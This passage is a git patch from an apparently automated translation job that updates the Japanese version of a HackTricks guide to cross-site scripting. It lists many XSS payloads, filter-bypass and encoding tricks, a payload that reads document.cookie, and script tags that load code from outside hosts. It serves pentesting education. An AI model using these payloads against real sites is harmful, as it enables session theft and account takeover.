From 064082515a49ac1bf552ea8a0896918ec3d04def Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 28 Aug 2025 19:38:18 +0000
Subject: [PATCH] Translated ['',
 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

---
 .../xss-cross-site-scripting/README.md        | 571 ++++++++++--------
 .../xss-cross-site-scripting/js-hoisting.md   |  48 +-
 2 files changed, 350 insertions(+), 269 deletions(-)

diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 4a1dd6457..f68a8e6af 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -1,35 +1,35 @@
-# XSS (クロスサイトスクリプティング)
+# XSS (Cross Site Scripting)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## 方法論
 
-1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_？、_クッキー_？) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。
-2. **反映されている/使用されているコンテキストを見つけます**。
+1. あなたが制御できる任意の値（_parameters_, _path_, _headers_?, _cookies_?）が HTML に **反映されている**か、または **JS** コードで **使用されている**かを確認する。
+2. どのような**コンテキスト**で反映／使用されているかを特定する。
 3. **反映されている場合**
-1. **どの記号を使用できるか**を確認し、それに応じてペイロードを準備します：
-1. **生のHTML**内で：
-1. 新しいHTMLタグを作成できますか？
-2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか？
-3. 保護を回避できますか？
-4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
-5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を悪用できるかもしれません。
-2. **HTMLタグ内で**：
-1. 生のHTMLコンテキストに抜け出せますか？
-2. JSコードを実行するための新しいイベント/属性を作成できますか？
-3. あなたが閉じ込められている属性はJS実行をサポートしていますか？
-4. 保護を回避できますか？
-3. **JavaScriptコード内で**：
-1. `<script>`タグをエスケープできますか？
-2. 文字列をエスケープして異なるJSコードを実行できますか？
-3. テンプレートリテラル \`\` に入力がありますか？
-4. 保護を回避できますか？
-4. 実行されているJavaScript **関数**：
-1. 実行する関数の名前を指定できます。例：`?callback=alert(1)`
-4. **使用されている場合**：
-1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**。
+1. 使用できる記号を確認し、それに応じて payload を準備する:
+1. **raw HTML** 内:
+1. 新しい HTML タグを作成できますか？
+2. `javascript:` プロトコルをサポートするイベントや属性を使えますか？
+3. 保護をバイパスできますか？
+4. HTML コンテンツがクライアントサイドの JS エンジン（_AngularJS_, _VueJS_, _Mavo_...）で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) を悪用できる可能性があります。
+5. JS コードを実行する HTML タグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) を悪用できるか確認する。
+2. **HTML タグ内**:
+1. raw HTML コンテキストに抜け出せますか？
+2. JS コードを実行するための新しい events/attributes を作成できますか？
+3. 自分が取り込まれている属性は JS 実行をサポートしますか？
+4. 保護をバイパスできますか？
+3. **JavaScript code** 内:
+1. `<script>` タグをエスケープできますか？
+2. 文字列をエスケープして別の JS コードを実行できますか？
+3. 入力は template literals `` の中ですか？
+4. 保護をバイパスできますか？
+4. Javascript の **function** が **実行される**場合:
+1. 実行する関数名を指定できる。例: `?callback=alert(1)`
+4. **使用されている場合**:
+1. **DOM XSS** を悪用できる可能性がある。入力がどのように制御されているか、またその**制御された入力がどの sink によって使用されているか**に注意すること。
 
-複雑なXSSに取り組む際には、以下のことを知っておくと興味深いかもしれません：
+複雑な XSS に取り組む際に役立つトピック:
 
 {{#ref}}
 debugging-client-side-js.md
@@ -37,47 +37,47 @@ debugging-client-side-js.md
 
 ## 反映された値
 
-XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
+XSS を成功させるために、まず最初に見つける必要があるのは、ウェブページに**反映されているあなたが制御する値**です。
 
-- **中間的に反映された**：パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
-- **保存されて反映された**：あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映される場合、**保存されたXSS**を悪用できるかもしれません。
-- **JS経由でアクセスされた**：あなたが制御する値がJSを使用してアクセスされている場合、**DOM XSS**を悪用できるかもしれません。
+- **Intermediately reflected**: パラメータやパスの値がウェブページに反映されている場合、**Reflected XSS** を悪用できる。
+- **Stored and reflected**: あなたが制御する値がサーバに保存され、ページにアクセスするたびに反映される場合、**Stored XSS** を悪用できる。
+- **Accessed via JS**: あなたが制御する値が JS でアクセスされていることが判明した場合、**DOM XSS** を悪用できる。
 
 ## コンテキスト
 
-XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。
+XSS を悪用しようとする際、まず知るべきことは **入力がどこに反映されているか** です。コンテキストに応じて、様々な方法で任意の JS コードを実行できます。
 
-### 生のHTML
+### Raw HTML
 
-あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります：`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部に過ぎません。\
-また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いておいてください。
+入力が **raw HTML に反映されている** 場合、JS コードを実行するためにいくつかの **HTML タグ** を悪用する必要があります: `<img , <iframe , <svg , <script` ... これは使用可能な多くの HTML タグの一部に過ぎません。\
+また、[Client Side Template Injection](../client-side-template-injection-csti.md) も念頭に置いてください。
 
-### HTMLタグ属性内
+### HTML タグ属性内
 
-あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます：
+入力がタグの属性値内に反映されている場合、次を試せます:
 
-1. **属性とタグから抜け出す**（その後、生のHTMLにいることになります）ことを試み、新しいHTMLタグを作成して悪用します：`"><img [...]`
-2. **属性からは抜け出せるがタグからは抜け出せない**場合（`>`がエンコードまたは削除されている）、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません：`" autofocus onfocus=alert(1) x="`
-3. **属性から抜け出せない**場合（`"`がエンコードまたは削除されている）、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できることです：**`href="javascript:alert(1)"`**
-4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます（これを悪用するには何らかの社会工学が必要です）：**`" accesskey="x" onclick="alert(1)" x="**
+1. 属性とタグから **エスケープ（抜け出す）**（その後 raw HTML になります）して、悪用する新しい HTML タグを作成する: `"><img [...]`
+2. 属性からはエスケープできるがタグからは抜け出せない場合（`>` がエンコードされるか削除される）、タグによっては JS コードを実行する **イベント** を作成できる: `" autofocus onfocus=alert(1) x="`
+3. 属性からエスケープできない場合（`"` がエンコードされるか削除される）、どの **attribute** に値が反映されているか、値全体を制御できるのか一部だけかに応じて悪用方法が変わる。例えば `onclick=` のようなイベントを制御できれば、クリック時に任意のコードを実行させることができる。別の興味深い例は `href` 属性で、`javascript:` プロトコルを使って任意のコードを実行できる: **`href="javascript:alert(1)"`**
+4. 入力が "**unexpoitable tags**" の内部に反映されている場合、**`accesskey`** トリックを試して脆弱性を悪用できる（これを実行するには何らかの social engineering が必要になる）: **`" accesskey="x" onclick="alert(1)" x="`**
 
-クラス名を制御している場合のAngularによるXSSの奇妙な例：
+クラス名を制御できる場合に Angular が XSS を実行する奇妙な例:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-### Inside JavaScript code
+### JavaScriptコード内
 
-この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます：
+In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
 
-- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力があらゆる種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコード内にあることに気づかないからです。
-- **JS文字列内**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、**コードを実行**し、JSコードを**再構築**する必要があります（エラーがある場合は実行されません）：
+- If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **ブラウザがまずHTMLタグを解析する** ためで、注入した `</script>` タグがHTMLコード内にあることに気付かれないからです。
+- If reflected **inside a JS string** and the last trick isn't working you would need to **抜け出し** the string, **実行** your code and **再構築** the JS code (if there is any error, it won't be executed:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- テンプレートリテラル内に反映されている場合、`${ ... }`構文を使用して**JS式を埋め込む**ことができます： `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicodeエンコード**は**有効なjavascriptコード**を書くために機能します：
+- If reflected inside template literals you can **JS式を埋め込む** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicodeエンコード** works to write **有効な javascript コード**:
 ```javascript
 alert(1)
 alert(1)
@@ -85,8 +85,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\
-**詳細については、次のページを確認してください：**
+Javascript Hoisting は、**使用後に関数、変数またはクラスを宣言できる機会を指し、未宣言の変数や関数を使用する XSS のような状況を悪用できる**ことを意味します。\
+**詳しくは次のページを確認してください：**
 
 
 {{#ref}}
@@ -95,19 +95,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります**。一般的な例として、`?callback=callbackFunc`のようなものがあります。
+Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
 
-ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**（例えば「Vulnerable」に）で、コンソールで次のようなエラーを探すことです：
+A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like:
 
 ![](<../../images/image (711).png>)
 
-脆弱性がある場合、**値を送信するだけでアラートをトリガーできる**かもしれません：**`?callback=alert(1)`**。ただし、これらのエンドポイントは、**コンテンツを検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です**（**`[\w\._]`**）。
+In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
 
-しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**：
+However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
 
 ![](<../../images/image (747).png>)
 
-これに役立ついくつかの関数：
+Some useful functions for this:
 ```
 firstElementChild
 lastElementChild
@@ -115,11 +115,12 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-あなたはまた、**Javascript関数を直接トリガーする**ことも試すことができます: `obj.sales.delOrders`。
+You can also try to **Javascript functionsを直接呼び出す**こともできます: `obj.sales.delOrders`.
 
-しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**は、より多くのアクションを実行するための**より興味深いDOM**を持っています。
+しかし、通常は示された関数を実行するendpointsはあまり興味深いDOMを持たないことが多く、**同一オリジンの他のページ**にはより多くの操作を行うための**より興味深いDOM**が存在します。
+
+したがって、**別のDOMでこの脆弱性を悪用するために**、**Same Origin Method Execution (SOME)** エクスプロイトが開発されました:
 
-したがって、**異なるDOMでこの脆弱性を悪用するために**、**Same Origin Method Execution (SOME)**のエクスプロイトが開発されました：
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -127,36 +128,39 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-**JSコード**が、攻撃者によって制御される**データ**（例: `location.href`）を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。
+**JS code** が攻撃者が制御する `location.href` のようなデータを**安全でない方法で**使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。
+
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-### **ユニバーサルXSS**
+### **Universal XSS**
+
+この種のXSSは**どこにでも**存在し得ます。これらは単にWebアプリケーションのクライアント側の悪用に依存するのではなく、**任意の****コンテキスト**に依存します。これらの**任意のJavaScript実行**は**RCE**を獲得したり、クライアントやサーバー上の**任意のファイル**を**読み取る**などにも悪用され得ます。\
+いくつかの**例**:
 
-この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることもあります。\
-いくつかの**例**：
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
+
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAFバイパスエンコーディング画像
+## WAF bypass encoding image
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## 生のHTML内に注入
+## raw HTML 内へのインジェクション
 
-あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
-この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を考慮してください。**\
-_**注: HTMLコメントは、\*\***\***\*`-->`\*\***\***\*または\*\***`--!>`\*\**を使用して閉じることができます。_
+あなたの入力が**HTMLページ内**に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初**に行うべきことは `<` を使って新しいタグを作れるかどうかを確認することです。単にその**文字**が反映されるかを試し、それが**HTMLエンコード**されているか、**削除**されているか、あるいは**変更なく反映されている**かを確認してください。**最後の場合にのみこのケースを悪用できます**。\
+この場合は[**Client Side Template Injection**](../client-side-template-injection-csti.md)**も念頭に置いてください**。\
+_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
 
-この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
+In this case and if no black/whitelisting is used, you could use payloads like:
 ```html
 <script>
 alert(1)
@@ -164,22 +168,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
-許可されているタグを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
+ただし、tags/attributes black/whitelisting が使用されている場合、作成できる **brute-force which tags** を特定する必要があります。\
+一度 **located which tags are allowed** が分かれば、見つかった有効な tags の中でコンテキストを攻撃するために **brute-force attributes/events** を実行する必要があります。
 
-### タグ/イベントのブルートフォース
+### Tags/Events brute-force
 
-[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます（同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います）。
+Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
 
-### カスタムタグ
+### Custom tags
 
-有効なHTMLタグが見つからなかった場合、**カスタムタグを作成**し、`onfocus`属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを`#`で終わらせてページがそのオブジェクトに**フォーカス**し、コードを**実行**する必要があります：
+If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
-### ブラックリストバイパス
+### Blacklist Bypasses
 
-もし何らかのブラックリストが使用されている場合、いくつかのくだらないトリックを使ってバイパスを試みることができます:
+もし何らかの blacklist が使われているなら、いくつかの簡単なトリックでそれを bypass できないか試してみてください:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -229,31 +233,31 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### 長さバイパス（小さなXSS）
+### Length bypass (small XSSs)
 
-> [!NOTE] > **異なる環境のためのより小さなXSS** ペイロード [**はこちら**](https://github.com/terjanq/Tiny-XSS-Payloads) と [**こちら**](https://tinyxss.terjanq.me) で見つけることができます。
+> [!NOTE] > **More tiny XSS for different environments** payload は [**こちら**](https://github.com/terjanq/Tiny-XSS-Payloads) および [**こちら**](https://tinyxss.terjanq.me) で入手できます。
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-最後のものは、5つに展開される2つのUnicode文字を使用しています: telsr\
-これらの文字の詳細は[こちら](https://www.unicode.org/charts/normalization/)で見つけることができます。\
-分解された文字を確認するには[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
+The last one is using 2 unicode characters which expands to 5: telsr\
+これらの文字の詳細は [here](https://www.unicode.org/charts/normalization/) で確認できます。\
+どの文字に分解されるかを確認するには [here](https://www.compart.com/en/unicode/U+2121) を参照してください。
 
 ### Click XSS - Clickjacking
 
-脆弱性を悪用するために**ユーザーがリンクや事前に入力されたデータのあるフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます（ページが脆弱な場合）。
+脆弱性を悪用するために、事前入力されたデータでユーザーがリンクやフォームをクリックする必要がある場合、ページが脆弱であれば[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)を試すことができます。
 
-### 不可能 - ダングリングマークアップ
+### 不可能 - Dangling Markup
 
-**JSコードを実行する属性を持つHTMLタグを作成することは不可能だ**と思うなら、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを**実行せずに**脆弱性を**悪用**できるからです。
+もし**it's impossible to create an HTML tag with an attribute to execute JS code**と思うなら、[**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。JSコードを実行せずに脆弱性を**exploit**できる可能性があります。
 
-## HTMLタグ内へのインジェクション
+## HTMLタグ内への注入
 
-### タグ内/属性値からのエスケープ
+### タグ内／属性値からのエスケープ
 
-**HTMLタグ内にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
-もし**タグからエスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
+もし**inside a HTML tag**にいる場合、まず試すべきはタグから**escape**して、[previous section](#injecting-inside-raw-html)で述べたテクニックのいくつかを使ってJSコードを実行することです。\
+もしタグから**cannot escape from the tag**できない場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、次のようなpayloadを使うなど（_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_）：
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -268,16 +272,16 @@ onerror=alert`1`
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-### 属性内で
+### 属性内
 
-たとえ**属性から逃げることができなくても**（`"`がエンコードまたは削除されている場合）、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
-もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです：**`href="javascript:alert(1)"`**
+たとえ **属性からエスケープできない**（`"` がエンコードされるか削除される）場合でも、値が反映される **どの属性か**、また値全体をコントロールしているのか一部だけかによって、悪用することができます。**例えば**、`onclick=` のようなイベントをコントロールできれば、クリック時に任意のコードを実行させることができます。\
+もう一つ興味深い**例**は属性 `href` で、`javascript:` プロトコルを使って任意のコードを実行できます: **`href="javascript:alert(1)"`**
 
-**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
+**イベント内でのバイパス（HTMLエンコーディング/URLエンコードを使用）**
 
-HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります（ペイロードは太字で示されています）：`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る</a>`
+HTMLタグ属性の値内にある **HTMLエンコードされた文字** は **実行時にデコードされます**。したがって次のようなものが有効になります（ペイロードは太字）: `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-**あらゆる種類のHTMLエンコードが有効であることに注意してください**：
+注意: **あらゆる種類のHTMLエンコードが有効である**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -294,19 +298,19 @@ HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**URLエンコードも機能することに注意してください:**
+**URL encodeも動作することに注意してください:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Unicodeエンコードを使用して内部イベントをバイパスする**
+**イベント内部で Unicode encode を使用した Bypass**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### 属性内の特別なプロトコル
+### 属性内の特殊プロトコル
 
-ここでは、いくつかの場所で **`javascript:`** または **`data:`** プロトコルを使用して **任意のJSコードを実行** できます。いくつかはユーザーの操作を必要とし、いくつかは必要ありません。
+ここではプロトコル **`javascript:`** または **`data:`** を一部の箇所で使用して **任意のJSコードを実行する** ことができます。 一部はユーザーの操作を必要としますが、そうでないものもあります。
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -328,7 +332,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **これらのプロトコルを注入できる場所**
 
-**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます（ただし `<img>` は除く）
+**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れるどのタグでも使用できます**、および **ほとんど** の **`src` 属性** を受け入れるタグでも使用できます（ただし `<img>` は除く）。
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -348,23 +352,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**他の難読化トリック**
+**その他の obfuscation tricks**
 
-_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
+_**この場合、前のセクションの HTML encoding と Unicode encoding trick は、属性内にいるため有効です。**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-さらに、これらのケースには別の**素晴らしいトリック**があります：**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**ことがわかっても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
+さらに、こうしたケースにはもう一つの**便利なコツ**があります：**`javascript:...` 内の入力が URL encoded されていても、実行される前に URL decoded されます。** つまり、もし**エスケープ**のために**文字列**から**single quote**を使って抜ける必要があり、それが**URL encoded**されているのを見ても、**問題ありません、**実行時には**single quote**として**解釈**されます。
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-注意してください、**ペイロード**をエンコードするために`URLencode + HTMLencode`の両方を**どの順序でも**使用しようとすると、それは**機能しません**が、**ペイロード内で混ぜる**ことはできます。
+注意: 任意の順序で `URLencode + HTMLencode` を**両方使用**して **payload** をエンコードしようとしても**動作** **しません**が、**payload内で混在させる**ことはできます。
 
-**`javascript:`を使った16進数および8進数エンコード**
+**`javascript:` と一緒に Hex と Octal encode を使用する**
 
-少なくとも`iframe`の`src`属性内で**16進数**および**8進数エンコード**を使用して**JSを実行するHTMLタグを宣言**できます：
+少なくとも `iframe` の `src` 属性内で **Hex** と **Octal encode** を使用して、**JS を実行する HTML タグ** を記述できます：
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -376,20 +380,21 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### リバースタブナビゲーション
+### Reverse tab nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
-任意の**`<a href=`**タグに**`target="_blank"`**および**`rel="opener"`**属性を含むURLを挿入できる場合は、この動作を悪用するために**次のページを確認してください**：
+If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
+
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### イベントハンドラーバイパスについて
+### on イベントハンドラのバイパス
 
-まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください（[https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)）。\
-このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます：
+First of all check this page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" イベントハンドラ**.\
+In case there is some blacklist preventing you from creating this event handlers you can try the following bypasses:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -406,12 +411,12 @@ Android: %09 %20 %28 %2C %3B
 ```
 ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
 
-From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **隠し入力を悪用することが可能になりました:**
+こちらの[**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **hidden inputs を次の方法で悪用できるようになりました：**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-そして**metaタグ**では：
+そして **meta tags** の中で:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -425,76 +430,93 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここがベクターです:
+出典: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields):
+
